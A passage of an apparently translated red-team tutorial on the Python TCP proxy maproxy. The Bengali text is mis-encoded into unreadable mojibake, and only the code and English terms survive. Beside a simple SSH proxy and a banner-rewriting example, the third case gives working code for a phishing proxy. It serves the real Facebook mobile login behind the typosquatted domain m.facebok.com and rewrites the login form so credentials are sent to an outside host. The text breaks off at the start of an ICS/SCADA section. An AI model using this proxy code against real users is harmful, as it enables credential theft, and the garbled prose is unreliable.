āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻāĻŋāĻ° āĻ
āĻ¨ā§āĻŦāĻžāĻĻ āĻā§āĻ°ā§āĻ¸ āĻļā§āĻ°ā§āĻ° āĻĒā§āĻ°āĻžāĻā§āĻāĻžāĻ˛ā§ āĻĒā§āĻ°āĻ¸ā§āĻ¤ā§āĻ¤ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛
āĻŦāĻŋāĻŽā§āĻ°ā§āĻ¤
āĻ¨āĻŋāĻ¯āĻŧāĻŽāĻŋāĻ¤ āĻĒā§āĻ¨āĻŋāĻā§āĻ°ā§āĻļāĻ¨ āĻā§āĻ¸ā§āĻāĻŋāĻ āĻāĻŦāĻ āĻ°ā§āĻĄ āĻāĻŋāĻŽ āĻ āĻĒāĻžāĻ°ā§āĻļāĻ¨ āĻĨā§āĻā§ āĻļā§āĻ°ā§ āĻāĻ°ā§ IoT/ICS āĻĄāĻŋāĻāĻžāĻāĻ¸ āĻāĻŦāĻ SCADA āĻšā§āĻ¯āĻžāĻ āĻāĻ°āĻž āĻĒāĻ°ā§āĻ¯āĻ¨ā§āĻ¤ āĻŦāĻŋāĻāĻŋāĻ¨ā§āĻ¨ āĻ§āĻ°āĻ¨ā§āĻ° āĻ¨āĻŋāĻ°āĻžāĻĒāĻ¤ā§āĻ¤āĻž āĻŽā§āĻ˛ā§āĻ¯āĻžāĻ¯āĻŧāĻ¨ā§āĻ° āĻŽāĻ§ā§āĻ¯ā§ āĻ°āĻ¯āĻŧā§āĻā§ āĻŦāĻžāĻāĻ¨āĻžāĻ°āĻŋ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻžāĻ āĻāĻ°āĻž, āĻ āĻ°ā§āĻĨāĻžā§ āĻŽā§āĻ˛āĻ¤ āĻā§āĻ˛āĻžāĻ¯āĻŧā§āĻ¨ā§āĻ āĻāĻŦāĻ āĻāĻžāĻ°ā§āĻā§āĻā§āĻ° āĻŽāĻ§ā§āĻ¯ā§ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĄā§āĻāĻž āĻāĻāĻāĻžāĻ¨ā§ āĻāĻŦāĻ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻžāĨ¤ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻžāĻā§ Wireshark, Tcpdump āĻŦāĻž Scapy-āĻāĻ° āĻŽāĻ¤ā§ āĻā§āĻ˛ āĻĨāĻžāĻāĻžāĻ¯āĻŧ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻā§āĻ°ā§āĻ¯āĻžāĻĢāĻŋāĻ āĻ¸ā§āĻ¨āĻŋāĻĢāĻŋāĻ āĻāĻ°āĻž āĻā§āĻ¨ā§ āĻāĻ āĻŋāĻ¨ āĻāĻžāĻ āĻ¨āĻ¯āĻŧ, āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻž āĻāĻ°āĻ āĻļā§āĻ°āĻŽ-āĻ¨āĻŋāĻŦāĻŋāĻĄāĻŧ āĻāĻžāĻ āĻŦāĻ˛ā§ āĻŽāĻ¨ā§ āĻšāĻ¯āĻŧ āĻāĻžāĻ°āĻŖ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĄā§āĻāĻž āĻĒāĻĄāĻŧāĻ¤ā§, āĻĢāĻŋāĻ˛ā§āĻāĻžāĻ° āĻāĻ°āĻ¤ā§, āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻŋāĻā§ āĻ§āĻ°āĻ¨ā§āĻ° āĻāĻ¨ā§āĻāĻžāĻ°āĻĢā§āĻ¸ āĻĨāĻžāĻāĻ¤ā§ āĻšāĻŦā§āĨ¤ āĻāĻāĻŋ āĻĢā§āĻ˛āĻžāĻāĻ¤ā§ āĻāĻŦāĻ āĻĒā§āĻ°āĻžāĻ¯āĻŧ āĻ°āĻŋāĻ¯āĻŧā§āĻ˛ āĻāĻžāĻāĻŽā§ āĻ˛āĻā§āĻˇā§āĻ¯ āĻšā§āĻ¸ā§āĻā§ āĻāĻāĻŋāĻā§ āĻĢā§āĻ°āĻ¤ āĻĒāĻžāĻ āĻžāĻ¨āĨ¤ āĻāĻĒāĻ°āĻ¨ā§āĻ¤ā§, āĻāĻāĻŋ āĻāĻĻāĻ°ā§āĻļ āĻšāĻŦā§ āĻ¯āĻĻāĻŋ āĻāĻ āĻ§āĻ°āĻ¨ā§āĻ° āĻāĻāĻāĻŋ āĻā§āĻ˛ āĻ¸ā§āĻŦāĻ¯āĻŧāĻāĻā§āĻ°āĻŋāĻ¯āĻŧāĻāĻžāĻŦā§ āĻāĻāĻžāĻ§āĻŋāĻ āĻ¸āĻŽāĻžāĻ¨ā§āĻ¤āĻ°āĻžāĻ˛ āĻ¸āĻāĻ¯ā§āĻā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻžāĻ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§ āĻāĻŦāĻ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻāĻžāĻ¸ā§āĻāĻŽāĻžāĻāĻāĻ¯ā§āĻā§āĻ¯ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤
āĻāĻāĻĻāĻŋāĻ¨ āĻāĻŽāĻŋ āĻāĻāĻāĻŋ āĻā§āĻ˛ āĻāĻŦāĻŋāĻˇā§āĻāĻžāĻ° āĻāĻ°āĻ˛āĻžāĻŽ
, āĻĄāĻā§āĻŽā§āĻ¨ā§āĻā§āĻļāĻ¨ āĻĻā§āĻ°ā§āĻ¤ āĻāĻŽāĻžāĻ° āĻāĻžāĻā§ āĻāĻāĻŋ āĻĒāĻ°āĻŋāĻˇā§āĻāĻžāĻ° āĻāĻ°ā§ āĻĻāĻŋāĻ¯āĻŧā§āĻā§ maproxy
- āĻļā§āĻ§ā§ āĻāĻŽāĻžāĻ° āĻ¯āĻž āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨āĨ¤ āĻāĻāĻŋ āĻāĻāĻāĻŋ āĻŽā§āĻāĻžāĻŽā§āĻāĻŋ āĻ¸āĻšāĻ, āĻŦāĻšā§āĻŽā§āĻā§ āĻāĻŦāĻ āĻ¸āĻšāĻā§āĻ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ°āĻ¯ā§āĻā§āĻ¯ TCP āĻĒā§āĻ°āĻā§āĻ¸āĻŋāĨ¤ āĻāĻŽāĻŋ āĻāĻ āĻā§āĻ˛āĻāĻŋ āĻ
āĻ¨ā§āĻāĻā§āĻ˛āĻŋ āĻ¸āĻŽāĻžāĻ¨ā§āĻ¤āĻ°āĻžāĻ˛ āĻ¸āĻāĻ¯ā§āĻāĻā§āĻ˛āĻŋ āĻĒāĻ°āĻŋāĻāĻžāĻ˛āĻ¨āĻž āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§ āĻāĻŋāĻ¨āĻž āĻ¤āĻž āĻĻā§āĻāĻ¤ā§ ICS āĻĄāĻŋāĻāĻžāĻāĻ¸ āĻ¸āĻš (āĻ¯āĻž āĻ
āĻ¨ā§āĻāĻā§āĻ˛āĻŋ āĻĒā§āĻ¯āĻžāĻā§āĻ āĻ¤ā§āĻ°āĻŋ āĻāĻ°ā§) āĻ¸āĻš āĻŦā§āĻļ āĻāĻ¯āĻŧā§āĻāĻāĻŋ āĻŽā§āĻāĻžāĻŽā§āĻāĻŋ āĻāĻāĻŋāĻ˛ āĻ
ā§āĻ¯āĻžāĻĒā§āĻ˛āĻŋāĻā§āĻļāĻ¨āĻā§āĻ˛āĻŋāĻ¤ā§ āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°ā§āĻāĻŋ āĻāĻŦāĻ āĻā§āĻ˛āĻāĻŋ āĻāĻžāĻ˛ āĻĒāĻžāĻ°āĻĢāĻ°ā§āĻŽ āĻāĻ°ā§āĻā§ā§ˇ
āĻāĻ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻāĻŋ āĻāĻĒāĻ¨āĻžāĻā§ āĻĢā§āĻ˛āĻžāĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĄā§āĻāĻž āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ°āĻŖā§āĻ° āĻ¸āĻžāĻĨā§ āĻĒāĻ°āĻŋāĻāĻ¯āĻŧ āĻāĻ°āĻŋāĻ¯āĻŧā§ āĻĻā§āĻŦā§ maproxy
.
āĻāĻāĻžāĻ°āĻāĻŋāĻ
āĻā§āĻ˛ maproxy
āĻĒāĻžāĻāĻĨāĻ¨ā§āĻ° āĻāĻāĻāĻŋ āĻāĻ¨āĻĒā§āĻ°āĻŋāĻ¯āĻŧ āĻāĻŦāĻ āĻĒāĻ°āĻŋāĻŖāĻ¤ āĻ
ā§āĻ¯āĻžāĻ¸āĻŋāĻā§āĻā§āĻ°ā§āĻ¨āĻžāĻ¸ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻāĻŋāĻ āĻĢā§āĻ°ā§āĻŽāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻāĻ°ā§āĻ¨ā§āĻĄā§āĻ° āĻāĻĒāĻ° āĻāĻŋāĻ¤ā§āĻ¤āĻŋ āĻāĻ°ā§āĨ¤
āĻ¸āĻžāĻ§āĻžāĻ°āĻŖāĻāĻžāĻŦā§, āĻāĻāĻŋ āĻŦāĻŋāĻāĻŋāĻ¨ā§āĻ¨ āĻŽā§āĻĄā§ āĻāĻžāĻ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§:
TCP:TCP
- āĻāĻ¨āĻā§āĻ°āĻŋāĻĒā§āĻ āĻāĻ°āĻž TCP āĻ¸āĻāĻ¯ā§āĻ;TCP:SSL
иSSL:TCP
- āĻāĻāĻŽā§āĻā§ āĻāĻ¨āĻā§āĻ°āĻŋāĻĒāĻļāĻ¨ āĻ¸āĻš;SSL:SSL
- āĻĻā§āĻŦāĻŋ-āĻŽā§āĻā§ āĻāĻ¨āĻā§āĻ°āĻŋāĻĒāĻļāĻ¨āĨ¤
āĻāĻāĻŋ āĻāĻāĻāĻŋ āĻ˛āĻžāĻāĻŦā§āĻ°ā§āĻ°āĻŋ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻāĻ¸ā§āĨ¤ āĻāĻāĻāĻŋ āĻĻā§āĻ°ā§āĻ¤ āĻļā§āĻ°ā§ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻĒāĻ¨āĻŋ āĻāĻĻāĻžāĻšāĻ°āĻŖ āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨ āĻ¯āĻž āĻŽā§āĻ˛āĻā§ āĻĒā§āĻ°āĻ¤āĻŋāĻĢāĻ˛āĻŋāĻ¤ āĻāĻ°ā§ā§ˇ
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
āĻā§āĻ¸ 1 - āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ āĻĻā§āĻŦāĻŋāĻŽā§āĻā§ āĻĒā§āĻ°āĻā§āĻ¸āĻŋ
āĻāĻĒāĻ° āĻāĻŋāĻ¤ā§āĻ¤āĻŋ āĻāĻ°ā§ tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
āĻĄāĻŋāĻĢāĻ˛ā§āĻāĻ°ā§āĻĒā§ ProxyServer()
āĻĻā§āĻāĻŋ āĻāĻ°ā§āĻā§āĻŽā§āĻ¨ā§āĻ āĻ˛āĻžāĻā§ - āĻ¸āĻāĻ¯ā§āĻ āĻ
āĻŦāĻ¸ā§āĻĨāĻžāĻ¨ āĻāĻŦāĻ āĻ˛āĻā§āĻˇā§āĻ¯ āĻĒā§āĻ°ā§āĻāĨ¤ server.listen()
āĻāĻāĻāĻŋ āĻ¯ā§āĻā§āĻ¤āĻŋ āĻ˛āĻžāĻā§ - āĻāĻ¨āĻāĻžāĻŽāĻŋāĻ āĻ¸āĻāĻ¯ā§āĻ āĻļā§āĻ¨āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻĒā§āĻ°ā§āĻāĨ¤
āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻāĻžāĻ°ā§āĻ¯āĻāĻ° āĻāĻ°āĻž āĻšāĻā§āĻā§:
# python tcp2tcp.py
āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻžāĻ˛āĻžāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯, āĻāĻŽāĻ°āĻž āĻāĻŽāĻžāĻĻā§āĻ° āĻĒā§āĻ°āĻā§āĻ¸āĻŋ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻāĻāĻāĻŋ āĻ¸ā§āĻĨāĻžāĻ¨ā§āĻ¯āĻŧ SSH āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§āĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻāĻ¯ā§āĻ āĻāĻ°āĻ¤ā§ āĻ¯āĻžāĻā§āĻāĻŋ, āĻ¯āĻž āĻļā§āĻ¨āĻŦā§ 2222/tcp
āĻĒā§āĻ°ā§āĻ āĻāĻŦāĻ āĻāĻāĻāĻŋ āĻ¸ā§āĻā§āĻ¯āĻžāĻ¨ā§āĻĄāĻžāĻ°ā§āĻĄ āĻĒā§āĻ°ā§āĻā§āĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻāĻ¯ā§āĻ āĻāĻ°ā§ 22/tcp
SSH āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°:
āĻ¸ā§āĻŦāĻžāĻāĻ¤ āĻŦā§āĻ¯āĻžāĻ¨āĻžāĻ° āĻāĻĒāĻ¨āĻžāĻā§ āĻāĻžāĻ¨āĻžāĻ¯āĻŧ āĻ¯ā§ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻĻāĻžāĻšāĻ°āĻŖ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻ¸āĻĢāĻ˛āĻāĻžāĻŦā§ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻā§āĻ°āĻžāĻĢāĻŋāĻ āĻĒā§āĻ°āĻā§āĻ¸āĻŋ āĻāĻ°ā§āĻā§āĨ¤
āĻā§āĻ¸ 2 - āĻĄā§āĻāĻž āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨
āĻāĻ°ā§āĻāĻāĻŋ āĻĄā§āĻŽā§ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ logging_proxy.py
āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĄā§āĻāĻžāĻ° āĻ¸āĻžāĻĨā§ āĻāĻ¨ā§āĻāĻžāĻ°āĻ
ā§āĻ¯āĻžāĻā§āĻ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻĻāĻ°ā§āĻļāĨ¤ āĻĢāĻžāĻāĻ˛ā§āĻ° āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯āĻā§āĻ˛āĻŋ āĻā§āĻ˛āĻžāĻ¸ āĻĒāĻĻā§āĻ§āĻ¤āĻŋāĻā§āĻ˛āĻŋ āĻŦāĻ°ā§āĻŖāĻ¨āĻž āĻāĻ°ā§ āĻ¯āĻž āĻāĻĒāĻ¨āĻŋ āĻāĻĒāĻ¨āĻžāĻ° āĻ˛āĻā§āĻˇā§āĻ¯ āĻ
āĻ°ā§āĻāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨:
āĻ¸āĻŦāĻā§āĻ¯āĻŧā§ āĻāĻāĻ°ā§āĻˇāĻŖā§āĻ¯āĻŧ āĻāĻŋāĻ¨āĻŋāĻ¸ āĻāĻāĻžāĻ¨ā§:
on_c2p_done_read
- āĻā§āĻ˛āĻžāĻ¯āĻŧā§āĻ¨ā§āĻ āĻĨā§āĻā§ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻ¯āĻžāĻāĻ¯āĻŧāĻžāĻ° āĻĒāĻĨā§ āĻĄā§āĻāĻž āĻāĻāĻāĻžāĻ¤ā§;on_p2s_done_read
- āĻŦāĻŋāĻĒāĻ°ā§āĻ¤āĨ¤
āĻāĻ¸ā§āĻ¨ SSH āĻŦā§āĻ¯āĻžāĻ¨āĻžāĻ°āĻāĻŋ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻžāĻ° āĻā§āĻˇā§āĻāĻž āĻāĻ°āĻŋ āĻ¯āĻž āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°āĻāĻŋ āĻā§āĻ˛āĻžāĻ¯āĻŧā§āĻ¨ā§āĻā§ āĻĢā§āĻ°āĻ¤ āĻĻā§āĻ¯āĻŧ:
[âĻ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[âĻ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[âĻ]
āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻāĻžāĻ˛āĻžāĻ¨:
āĻāĻĒāĻ¨āĻŋ āĻĻā§āĻāĻ¤ā§ āĻĒāĻžāĻā§āĻā§āĻ¨, āĻā§āĻ˛āĻžāĻ¯āĻŧā§āĻ¨ā§āĻāĻā§ āĻŦāĻŋāĻā§āĻ°āĻžāĻ¨ā§āĻ¤ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ āĻāĻžāĻ°āĻŖ āĻ¤āĻžāĻ° āĻāĻ¨ā§āĻ¯ SSH āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§āĻ° āĻ¨āĻžāĻŽ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛ ÂĢDumnySSHÂģ
.
āĻā§āĻ¸ 3 - āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ āĻĢāĻŋāĻļāĻŋāĻ āĻāĻ¯āĻŧā§āĻŦ āĻĒā§āĻˇā§āĻ āĻž
āĻāĻ āĻā§āĻ˛ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ
āĻ¨ā§āĻ¤āĻšā§āĻ¨ āĻāĻĒāĻžāĻ¯āĻŧ āĻāĻā§. āĻāĻāĻŦāĻžāĻ° āĻ°ā§āĻĄ āĻāĻŋāĻŽā§āĻ° āĻ
āĻĒāĻžāĻ°ā§āĻļāĻ¨ā§āĻ° āĻĻāĻŋāĻ āĻĨā§āĻā§ āĻāĻ°āĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻŋāĻ āĻāĻŋāĻā§āĻ¤ā§ āĻĢā§āĻāĻžāĻ¸ āĻāĻ°āĻž āĻ¯āĻžāĻāĨ¤ āĻāĻ° āĻ˛ā§āĻ¯āĻžāĻ¨ā§āĻĄāĻŋāĻ āĻĒā§āĻˇā§āĻ āĻž āĻ
āĻ¨ā§āĻāĻ°āĻŖ āĻāĻ°āĻž āĻ¯āĻžāĻ m.facebook.com
āĻāĻŦāĻ āĻāĻā§āĻāĻžāĻā§āĻ¤ āĻāĻžāĻāĻĒā§ āĻ¸āĻš āĻāĻāĻāĻŋ āĻāĻžāĻ¸ā§āĻāĻŽ āĻĄā§āĻŽā§āĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§āĻ¨, āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ, m.facebok.com
. āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨ā§āĻ° āĻāĻĻā§āĻĻā§āĻļā§āĻ¯ā§, āĻāĻ¸ā§āĻ¨ āĻ§āĻ°ā§ āĻ¨āĻŋāĻ āĻ¯ā§ āĻĄā§āĻŽā§āĻ¨āĻāĻŋ āĻāĻŽāĻžāĻĻā§āĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻŋāĻ¤āĨ¤
āĻāĻŽāĻ°āĻž āĻĢā§āĻ¸āĻŦā§āĻ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻŋāĻāĻāĻŋāĻŽ āĻĒā§āĻ°āĻā§āĻ¸āĻŋ āĻāĻŦāĻ SSL āĻ¸ā§āĻā§āĻ°ā§āĻŽā§āĻ° āĻ¸āĻžāĻĨā§ āĻāĻāĻāĻŋ āĻāĻ¨āĻā§āĻ°āĻŋāĻĒā§āĻ āĻāĻ°āĻž āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻ¸āĻāĻ¯ā§āĻ āĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°āĻ¤ā§ āĻ¯āĻžāĻā§āĻāĻŋ (31.13.81.36
) āĻāĻ āĻāĻĻāĻžāĻšāĻ°āĻŖāĻāĻŋ āĻāĻžāĻ°ā§āĻ¯āĻāĻ° āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻŽāĻžāĻĻā§āĻ° HTTP āĻšā§āĻ¸ā§āĻ āĻšā§āĻĄāĻžāĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°āĻ¤ā§ āĻšāĻŦā§ āĻāĻŦāĻ āĻ¸āĻ āĻŋāĻ āĻšā§āĻ¸ā§āĻāĻ¨āĻžāĻŽāĻāĻŋ āĻāĻ¨āĻā§āĻā§āĻ āĻāĻ°āĻ¤ā§ āĻšāĻŦā§ āĻāĻŦāĻ āĻāĻŽāĻ°āĻž āĻĒā§āĻ°āĻ¤āĻŋāĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻ¸āĻāĻā§āĻāĻ¨ āĻ
āĻā§āĻˇāĻŽ āĻāĻ°āĻŦ āĻ¯āĻžāĻ¤ā§ āĻāĻŽāĻ°āĻž āĻ¸āĻšāĻā§āĻ āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§āĻā§āĻ˛āĻŋ āĻ
ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°āĻŋāĨ¤ āĻļā§āĻˇ āĻĒāĻ°ā§āĻ¯āĻ¨ā§āĻ¤ āĻāĻŽāĻ°āĻž HTML āĻĢāĻ°ā§āĻŽāĻāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°āĻŦ āĻ¯āĻžāĻ¤ā§ āĻ˛āĻāĻāĻ¨ āĻļāĻāĻ¸āĻžāĻĒāĻ¤ā§āĻ°āĻā§āĻ˛āĻŋ āĻĢā§āĻ¸āĻŦā§āĻā§āĻ° āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§āĻ° āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤ā§ āĻāĻŽāĻžāĻĻā§āĻ° āĻāĻžāĻā§ āĻĒāĻžāĻ āĻžāĻ¨ā§ āĻšāĻ¯āĻŧ:
[âĻ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âĻ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/bn/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âĻ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âĻ]
āĻ¸āĻžāĻ°āĻ¸āĻāĻā§āĻˇā§āĻĒā§:
āĻāĻĒāĻ¨āĻŋ āĻĻā§āĻāĻ¤ā§ āĻĒāĻžāĻā§āĻā§āĻ¨, āĻāĻŽāĻ°āĻž āĻ¸āĻĢāĻ˛āĻāĻžāĻŦā§ āĻŽā§āĻ˛ āĻ¸āĻžāĻāĻāĻāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°āĻ¤ā§ āĻ¸āĻā§āĻˇāĻŽ āĻšāĻ¯āĻŧā§āĻāĻŋāĨ¤
āĻā§āĻ¸ 4 - āĻĒā§āĻ°ā§āĻāĻŋāĻ āĻāĻĨāĻžāĻ°āĻ¨ā§āĻ/āĻāĻāĻĒāĻŋ
āĻāĻŽāĻŋ āĻŦā§āĻļ āĻāĻŋāĻā§āĻĻāĻŋāĻ¨ āĻ§āĻ°ā§ āĻļāĻŋāĻ˛ā§āĻĒ āĻĄāĻŋāĻāĻžāĻāĻ¸ āĻāĻŦāĻ āĻ¸āĻĢā§āĻāĻāĻ¯āĻŧā§āĻ¯āĻžāĻ° (ICS/SCADA) āĻ¨āĻŋāĻ¯āĻŧā§ āĻāĻžāĻ āĻāĻ°āĻāĻŋ, āĻ¯ā§āĻŽāĻ¨ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽā§āĻŦāĻ˛ āĻāĻ¨ā§āĻā§āĻ°ā§āĻ˛āĻžāĻ° (PLC), I/O āĻŽāĻĄāĻŋāĻāĻ˛, āĻĄā§āĻ°āĻžāĻāĻ, āĻ°āĻŋāĻ˛ā§, āĻŽāĻ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽāĻŋāĻ āĻĒāĻ°āĻŋāĻŦā§āĻļ āĻāĻŦāĻ āĻāĻ°āĻ āĻ āĻ¨ā§āĻ āĻāĻŋāĻā§āĨ¤ āĻ¯āĻžāĻ°āĻž āĻļāĻŋāĻ˛ā§āĻĒ āĻāĻŋāĻ¨āĻŋāĻ¸ āĻĒāĻāĻ¨ā§āĻĻ āĻāĻ°ā§āĻ¨ āĻ¤āĻžāĻĻā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻ āĻā§āĻ¸āĨ¤ āĻāĻ āĻāĻžāĻ¤ā§āĻ¯āĻŧ āĻ¸āĻŽāĻžāĻ§āĻžāĻ¨āĻā§āĻ˛āĻŋ āĻšā§āĻ¯āĻžāĻ āĻāĻ°āĻžāĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻā§āĻ°āĻŋāĻ¯āĻŧāĻāĻžāĻŦā§ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻĒā§āĻ°ā§āĻā§āĻāĻ˛ā§āĻ° āĻ¸āĻžāĻĨā§ āĻā§āĻ˛āĻž āĻāĻĄāĻŧāĻŋāĻ¤āĨ¤ āĻ¨āĻŋāĻŽā§āĻ¨āĻ˛āĻŋāĻāĻŋāĻ¤ āĻāĻĻāĻžāĻšāĻ°āĻŖā§, āĻāĻŽāĻŋ āĻĻā§āĻāĻžāĻ¤ā§ āĻāĻžāĻ āĻāĻŋāĻāĻžāĻŦā§ āĻāĻĒāĻ¨āĻŋ ICS/SCADA āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻā§āĻ°ā§āĻ¯āĻžāĻĢāĻŋāĻ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤
āĻāĻ āĻāĻ¨ā§āĻ¯ āĻāĻĒāĻ¨āĻžāĻ° āĻ¨āĻŋāĻŽā§āĻ¨āĻ˛āĻŋāĻāĻŋāĻ¤ āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨ āĻšāĻŦā§:
- āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻ¸ā§āĻ¨āĻŋāĻĢāĻžāĻ°, āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ, Wireshark;
